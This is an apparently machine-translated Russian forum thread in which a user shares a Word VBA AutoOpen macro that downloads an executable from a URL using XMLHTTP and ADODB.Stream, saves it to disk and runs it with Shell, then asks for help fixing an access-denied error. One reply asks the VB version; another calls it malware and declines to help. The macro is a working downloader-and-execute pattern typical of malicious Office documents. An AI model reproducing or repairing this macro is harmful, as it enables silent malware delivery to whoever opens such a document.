Ошибка доступа, на которых работает удаленный файл в VB макроса с помощью кода VB
Здравствуйте Гуру,
У меня есть файл, размещенный в cpanel, так что файл может быть вызван, запуск этого МАКРОКОДА VB заставляет приложение запускать приложение калькулятора, которое поставляется с операционной системой windows, но тот же подход может быть использован для вызова файла с URL-адреса, но запуск кода приносит ошибку, что я, кажется, не знаю, что происходит, пожалуйста, помогите мне сделать это правильно.
Ниже приведен код :
Sub AutoOpen() Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP") Dim bStrm: Set bStrm = CreateObject("Adodb.Stream") xHttp.Open "GET", "https://sample.com/test.exe", False xHttp.Send With bStrm .Type = 1 '//binary .Open .write xHttp.responseBody .savetofile "test.exe", 2 '//overwrite End With Shell ("test.exe") End Sub
Приведенный выше VB-код должен загрузить exe-файл с URL-адреса и запустить его, но он дает мне ошибку отказа в доступе, когда я его запускаю .
Пожалуйста, кто - нибудь должен помочь.
Что я уже пробовал:
Я запустил код, но с ошибкой отказа в доступе и не смог загрузить файл, но если тот же код был запущен с помощью локального приложения, он будет работать отлично.
Пожалуйста помочь.
RickZeeland
Какую версию VB вы используете ?
Member 10827182
Это макрос VB в меню разработчика в MS Word 2010 до настоящего времени. У него есть то, что называется макросом VB в меню разработчика, когда он включен из опции. Код макроса VB-это то, что запускает приложение в удаленном расположении(URL) или на локальном диске.
Пожалуйста, помогите мне, если у вас есть идея.
Richard Deeming
Это звучит так, как будто вы пытаетесь написать вредоносное ПО.
Microsoft уже исправила уязвимость DDEAUTO, которую вы используете.
Мы не потворствуем и не помогаем в написании вредоносных программ.